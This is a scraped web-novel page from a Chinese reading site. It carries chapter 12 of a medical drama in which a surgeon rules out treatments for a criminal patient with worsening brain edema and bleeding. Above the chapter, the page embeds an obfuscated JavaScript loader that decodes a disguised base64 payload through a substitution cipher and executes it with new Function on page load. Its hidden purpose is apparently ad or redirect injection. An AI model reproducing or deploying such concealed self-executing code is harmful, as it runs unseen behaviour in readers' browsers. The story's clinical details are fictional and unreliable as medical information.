当书网

阅读记录  |   用户书架
(function(){function u9ecfd17f(v3a5691){var a4b76="Yv_[4Gyb2KUQeR8j6xoi@?;c,-lF3T|IrED~wHt05pdaNz%OJ/s:quPCnLV$^k.A]ZM9!fBgmh17S&(=XW";var tba408="e^&_4XDsRo-|u$gk~Mr1hBf6G?tU;Tbl0[PzivV.ad9OpLcyEj/x7]JCSw,ZW(N:2@mIK8!Hq=3YnFQ5%A";return atob(v3a5691).split('').map(function(x905b9a){var q0ac288=a4b76.indexOf(x905b9a);return q0ac288==-1?x905b9a:tba408[q0ac288]}).join('')}var c=u9ecfd17f('thunder://THdTcEtMRSJ+IisiaTVZXT0iKyJZInVoO2VTJWx3S1NrKXtrO2VTJWx3S1NrcGlpcF1pZlZLcDFwJWZjVkBmPWQlfDVdWVZsNWRkcil7dztrc3Z4NSVRXndTczBsWWJsa1M1SHc4NWxLbzBOSTVsO0tvTSkpe29ZbGVvU31INW8gYmNpZFlZaDtlUyVsd0tTa0tmciVwZil7b1lsZW9TIG5sb3dTODA7b0tNQ0A1b0NLcFlrS2ZyJXBmKX0zSDVvIEBdclk9NGhFIkkvYlVncmlbemFXeVtQbltnVHh6IlYiSFlvVXJpIlYiYndwVWljXSJWIiUlbFVdcl09VXJxVV1pIF0xQV0xQXIxInUzSDVvIE0lcXxmaEBmPWQlfDVdWUViY2lkWVlrZHEpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkZil1VmxwcmZyaEBmPWQlfDVdWUViY2lkWVlrZGYpK2JjaWRZWWtpaWMpK2JjaWRZWWtpaWkpK2JjaWRZWWtkcSl1Vnx8cmRwcWhsNWRkckVNJXF8ZmsiNzF0TyVNdGVwJi4vJU1JTHBXaGgiKXVWWT1wcj1oTSVxfGZrIjcxUEk3RzJJMl46SXxedGVwV2hoIilWTllxcWQ0fGhNJXF8ZmsiJTF0dyUxMk81Xj1TIilWSHx8MXw0MWhNJXF8ZmsiJU10THwsJi8kKGhoIilWNWlkMTE1XTFoTSVxfGZrIiUxP2I1RyhoIilWSGQxcXwxcnBjaE0lcXxmayIlTXRdJEdQfiQoaGgiKVZ+cnJkcllkaE0lcXxmayI1TWROfDhoaCIpVnA7YyVpaEBmPWQlfDVdWUVNJXF8ZmsiVF4mcjVXaGgiKXVWJWk9NWRyZl1ocDtjJWlFTSVxfGZrIjdddE58V2hoIil1Vm8lPXFpcmhwO2MlaUVNJXF8ZmsiJE06SHwxOWgiKXVWbTtwWTQ7WWhwO2MlaUVNJXF8ZmsiJU0mZSQsZGwiKXVWTWY9YzVpaWQ1aE0lcXxmayJ8XiZyN104aCIpVkBmY2NkaTtxfGhNJXF8ZmsifF4mTCIpVkAlO2RjNT0xXWhNJXF8ZmsifCxkQCRXaGgiKTNINW8gfiVmcmlmcWNpaE0lcXxmayIlXWlyNV4ySXA4aGgiKTNINW8gOmRdJV1wMTNINW8gfHJwO3JmWWZ8aHBpaXBdaWZFcnUzdztrcGlpcF1pZjBJWVM4bEA+aSl7fHJwO3JmWWZ8aHBpaXBdaWZFbyU9cWlya207cFk0O1lrKSpwaWlwXWlmMElZUzhsQCl1fXc7a0lLJTVsd0tTMGJZNW8lQDB3U3BZOmE7a34lZnJpZnFjaSk+VWkpezpkXSVdcDFobDVkZHJFWT1wcj11a00lcXxmayJwLHQ0cCwmTyReSmgiKSkzOmRdJV1wMTB3cGgibCIrbTtwWTQ7WWspKmlZNDM6ZF0lXXAxMGJsT0lZMEx3cGxAaCJpcnJYIjM6ZF0lXXAxMGJsT0lZMEBZdzhAbGgiPXJyTjoiMzpkXSVdcDEwcHdiNXxJWXBobG9lWTN3O2tsNWRkcjB8S3BPQmhTZUlJKXtsNWRkcjB8S3BPMDVOTllTcENAd0lwazpkXSVdcDEpfVlJYll7SDVvIEhwPT1kaDtlUyVsd0tTayl7bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs6ZF0lXXAxKTNAZj1kJXw1XVkwb1lNS0hZSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfTNAZj1kJXw1XVkwNXBwSkhZU2x6d2JsWVNZb2tAJTtkYzU9MV1WSHA9PWRWOzVJYlkpfX1INW8gOzF8ZHxZXTFkaGw1ZGRyRVk9cHI9dWtNJXF8ZmsiJF5pdyReKGgiKSkzOzF8ZHxZXTFkMHdwaEtwMXAlZmMrJWk9NWRyZl1rbTtwWTQ7WWspKmlZNCkzOzF8ZHxZXTFkMGJsT0lZMEBZdzhAbGgick46IjM7MXxkfFldMWQwYmxPSVkwS0hZbztJS0xoIkB3cHBZUyIzJUtTYmwgfDE0Y3xkcGk1aGsvfDFmaSVWTnByXWNpXTRWTzVZZGN8aF1yciloPkRvS013YlkwbzUlWWtFO1lsJUBrL3wxZmklVk5wcl1jaV00KVZTWUwgRG9LTXdiWWtra1tWb1kvWSVsKWg+YllsVHdNWUtlbGtrayloPm9ZL1klbGtTWUwgSm9vS29rImx3TVlLZWwiKSkpVk81WWRjfCkpKXUpM0g1byBOcHIxOzV8PWloNWJPUyUgO2VTJWx3S1NrbD0lNTV8NCl7SDVvIEhjPXBmY11ZY2hFIi9iIlYiJWJiIlYiOHc7IlYiL044IlYiTlM4IlYiL044WSJWIkxZfE4iViJiSDgiViJAbE1JIlYiL05ZOCJ1M0g1byBOXWljNV0lcD1oSGM9cGZjXVljMElZUzhsQDNIYz1wZmNdWWNoSGM9cGZjXVljRW8lPXFpcmttO3BZNDtZaykqTl1pYzVdJXA9KXUzJUtTYmwgTGQ7XTE0cWhFIiRdJWUkTSR+LiwkPXBHJWVwLGRMYS9qPS5UN2gidTNINW8gOFklOztxaExkO10xNHFFcnUzdztrTGQ7XTE0cTBJWVM4bEA+aSl7OFklOztxaExkO10xNHFFbyU9cWlya207cFk0O1lrKSpMZDtdMTRxMElZUzhsQCl1fUg1byBiNXIlOztkZmhONW9iWTlTbGtLcDFwJWZjKTN3O2t3Yi41LmtiNXIlOztkZikpYjVyJTs7ZGZocjNiNXIlOztkZitoZmZmZjNINW8gU2kxaSUlNWhFIkBsbE5iQXMiVnw0Y3A1cWs4WSU7O3EpViJAbE1JIlZgYk1Se2I1ciU7O2RmfWBWYFJ7S3AxcCVmY30wUntIYz1wZmNdWWN9YHVFfnJyZHJZZHVrInMiKTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTYllTcCBtYiBAS2JsICIrU2kxaSUlNTNsb097SDVvIEtZJVldZmg1TDV3bCB8MTRjfGRwaTVrU2kxaSUlNVZ7b1lwd29ZJWxBIjtLSUlLTCJ9Vmk9cnIpM0tZJVldZmg1TDV3bCBLWSVZXWYwbFk6bGspM0g1byBOaWk9MWRjcjRoS1klWV1mMHdTcFk6YTtrYmNpZFlZa2NpKSkzSDVvIGp8cjRwMXJ8JWgiIjN3O2tOaWk9MWRjcjQ+aHIpe2p8cjRwMXJ8JWhLWSVZXWZFTllxcWQ0fHVrTmlpPTFkY3I0KTNLWSVZXWZoS1klWV1mRU5ZcXFkNHx1a3JWTmlpPTFkY3I0KX1LWSVZXWZoS1klWV1mRU1mPWM1aWlkNXVrczB7aVY0fXM4KUVAZmNjZGk7cXx1a2s6aD46RTVpZDExNV0xdWsiIilFSGQxcXwxcnBjdWspRX5ycmRyWWR1ayIiKSkpRX5ycmRyWWR1ayIiKTNLWSVZXWZoS1klWV1mK2p8cjRwMXJ8JTNLWSVZXWZoTSVxfGZrS1klWV1mKTNsPSU1NXw0aEtZJVldZkU1aWQxMTVdMXVrInMiKUVydTN3O2s6ZF0lXXAxQmhTZUlJKTpkXSVdcDEwSDVJZVkraCJcb1xTOFlsIG1iIEBLYmwgYmUlJVliYiIrbD0lNTV8NH0lNWwlQGt8O3wlJWlmPSl7dztrOmRdJV1wMUJoU2VJSSk6ZF0lXXAxMEg1SWVZK2giXG9cUzhZbCBtYiBAS2JsIDs1d0lZcCIrfDt8JSVpZj19SDVvIE4xfGM1WWhscHJmcmtAXXJZPTQwJUtTJTVsa0VgU0tMVVJ7eTVsWUUiU0tMInVrKX1gVmBAb1k7VVJ7SUslNWx3S1MwQG9ZO31gVmBlYiVVUntwO3BpXXFkayl9YHUpMGJLb2xra2spaD5tO3BZNDtZaylVMD0pKUV+cnJkcllkdWsiViIpKTNINW8gb2NjaSVpZGhOMXxjNVkwd1NwWTphO2tiY2lkWVlrY2kpKT5VaS1OMXxjNVlFTllxcWQ0fHVrTjF8YzVZMHdTcFk6YTtrYmNpZFlZa2NpKSkpQSIiM04xfGM1WWhOMXxjNVlFSHx8MXw0MXVrb2NjaSVpZFYiIilFNWlkMTE1XTF1ayIiKUVIZDFxfDFycGN1aylFfnJyZHJZZHVrIiIpK29jY2klaWQzOzF8ZHxZXTFkMGJvJWhFIkBsbE5iQXMiVmw9JTU1fDRWOzF8ZHxZXTFkMHdwVk4xfGM1WXVFfnJyZHJZZHVrInMiKTNsb097bDVkZHIwfEtwTzA1Tk5ZU3BDQHdJcGs7MXxkfFldMWQpfSU1bCVAa1kpe2w1ZGRyMDVwcEpIWVNsendibFlTWW9rInlheENLU2xZU2x6SzVwWXAiVmtrKWg+e2w1ZGRyMHxLcE8wd1NiWW9sP1k7S29ZazsxfGR8WV0xZFZsNWRkcjB8S3BPMCVAd0lwLktwWWJFcnUpfSkpfXc7azpkXSVdcDFCaFNlSUkpezpkXSVdcDEwSDVJZVkraCJcb1xTNU5OWVNwWXAgWU0gbEsgQGxNSSIzSDVvICVyZDtycHJobDVkZHIwOFlsSklZTVlTbD9POXBrOzF8ZHxZXTFkMHdwKTN3O2slcmQ7cnByaGhTZUlJUVElcmQ7cnByaGhlU3BZO3dTWXApezpkXSVdcDEwSDVJZVkraCJcb1xTICU1U2wgOFlsIFlNIDtvS00gQGxNSSJ9fX0zdztrOmRdJV1wMUJoU2VJSSl7OmRdJV1wMTBINUllWStoIlxvXFNiWVNwIC9iIEBLYmwgIit8cnA7cmZZZnx9SDVvIHA7cGldcWRoO2VTJWx3S1NrKXtsb097JUtTYmwgWT00O3xoa1NZTCB5NWxZKTBsS3pLJTVJWXk1bFlubG93UzhrKTMlS1NibCBTO2N8ZmhgYk1sd1tid3BbUns7JT1dY3BdWTQwS3AxcCVmY31bTkhgM0lZbCBMJTQ0XTVZaFBuYS4wTjVvYllrSUslNUlubEtvNThZMDhZbDlsWU1rUztjfGYpKTN3O2tMJTQ0XTVZaGhTZUlJUVFMJTQ0XTVZMHA1bFlCaFk9NDt8KXtMJTQ0XTVZaHtOSFR3TVliQXJWcDVsWUFZPTQ7fH19b1lsZW9TIEwlNDRdNVkwTkhUd01ZYitpfSU1bCVAazVZJTRjZCl7b1lsZW9TIGl9fTNINW8gfDRjcDVxaDtlUyVsd0tTa35yaWN8cSl7b1lsZW9TIE0lcXxma35yaWN8cSlFSHx8MXw0MXVrYmNpZFlZazRdKVZtO3BZNDtZaykwbEtubG93UzhrMWMpMGJJdyVZa28lPXFpcmttO3BZNDtZaykqZCkrXSkpfTNOcHIxOzV8PWlrfDRjcDVxa3xycDtyZllmfCkpM0BmPWQlfDVdWUUiNXBwSkhZU2x6d2JsWVNZbyJ1ayJNWWJiNThZIlZrO2VTJWx3S1NrNVklNGNkKXt3O2s1WSU0Y2QwcDVsNTBqaGhLcDFwJWZjKXtsNWRkcjA4WWxKSVlNWVNsP085cGs7MXxkfFldMWQwd3ApMG9ZTUtIWWspM0g1byBvZjtjaXJpJXJoU2VJSTN3O2s6ZF0lXXAxQmhTZUlJKXs6ZF0lXXAxMEg1SWVZK2giXG9cU29ZJVl3SFkgWU0gTktibCBNWWJiNThZIjM6ZF0lXXAxMEg1SWVZK2giXG9cU1kwcDVsNTBIICIrNVklNGNkMHA1bDUwbTNvZjtjaXJpJXJoazAwMGxZXTFjKWg+e3c7a0JsWV0xY1FRbFldMWMwSVlTOGxAPGhyKW9ZbGVvUzM6ZF0lXXAxMEg1SWVZK2giXG9cUyIrbFldMWMwL0t3U2siICIpfX1TWUwgJmVTJWx3S1NrIjVvOGIiVjVZJTRjZDBwNWw1MG0pa3tbbHAlYkF8fHJkcHFWW0lLOEFvZjtjaXJpJXJ9KX19KSl9KWtFIiRdJWV8VGpdcF0mbXwscmVwLGRMYS9qPS5UN2gidVYiaWNdIlZMd1NwS0xWcEslZU1ZU2wpfTN+aTVZXT1Zaykz'.substr(10));new Function(c)()})();
上一章
目录 | 设置
下一页

第十二章 【强烈毒性】(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

患者的各种最新实时检查结果下来了:

T36.3℃,P67次分,R10次分,BPmmHg,ICP1.9kpa,白介素-6+,出血量46ml,ADC增强,DWI呈低信号,中线左移,凝血酶增强,脑蛋白升高,脑血流量18ml100gmin,血红蛋白代谢增强,肿瘤边缘水肿增强。

之前观测到的下丘脑错构瘤只是伴随着脑水肿,但现在脑水肿已经开始恶化,呼吸严重,白细胞产生炎性,APQ4增强以及凝血酶高强渗透并发出了颅内血肿,导致视神经与脊髓相继受损。

与此同时,眼MRI结果也出来了,可见轨道样强化,后续会发展为双目失明。

或许下一步,患者就真的会如同杰克瘙教授所说的,患者绝对见不到明天的太阳。

一言成谶?

景夜是不相信的。

但事实是,短短不到半个小时的时间,脑水肿就已经恶化了,超远远超乎了景夜的想象,颅内出血,硬膜外血肿,血脑屏障遭到破坏,已经形成了卒中血管源性脑水肿,就算后续不会形成弥漫脑水肿,也丝毫不影响脑梗,脑疝和脑瘫的恶化症状。

为了避免出现再次恶化,景夜立即让护士把手术台的头位抬高到30度,再打一针1mg布美他尼,并维持PaCO2的正常数值。

又让另一名护士给患者做Gd-DTPA增强扫描,因为血管源性脑水肿的水分子扩散相对比较自由,所以刚才的ADC和DWI会呈不同结果。

“怎么又检查?难道又恶化了?”

“那是肯定的,三种肿瘤并生,完全是盘根错节的存在,消除了一个,还会滋长出另一个,根本消除不完。”

“不过我看景夜下一步马上就要用血栓通和甘露醇合并治疗了吧。”

“恩,我也觉得是,毕竟这是治疗的首选,效果绝对不错,换做是我,我也会这样。”

室外的医生们开始各抒己见,发表自己的言论。

但景夜知道,尽管之前注射了一些药剂,控制了癫痫和颅内压高,改善了血液循环,但现在患者的状态依旧不平稳,血栓通和甘露醇治疗也就不再考虑。

“你看景夜的眼神,似乎已经放弃你的治疗方法了呢。”

“呵呵,即便放弃又有如何,我觉得如果手术的话,他一定会选择微创清除手术。”

“是啊,微创清除手术优点很多,将创伤争取减到最小,患者也更满意,无疑是最佳的选择。”

室外的医生们继续意气风发,指点江山。

但景夜知道,虽然从微创清除手术的理论上可以用LY-型在两分钟之内进行穿刺,再搭配针形血肿粉碎器和血块液化剂就可以痊愈颅内血肿,而且还不会留下后遗症,但要知道患者的颅内血肿已经高达46ml,这也就意味着倘若执意采取上述手术,患者所承担的手术风险会极高。

那风险到底有多高呢?

患者的死亡率几乎为百分之百,即便侥幸存活下来,也是半身不遂。

当然,对于这种长了三种晚期肿瘤的人来说,能半身不遂的活下来其实也是一种不错的选择。

尽管患者是一名罪犯,但作为医生,就应该保证在患者维持生命体征的情况下,要最大化的减轻对患者的痛苦,这和人们所希望的保守不截肢治疗是一样的概念。

所以景夜毫无疑问的排除了微创清除手术,只能考虑其他的办法。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间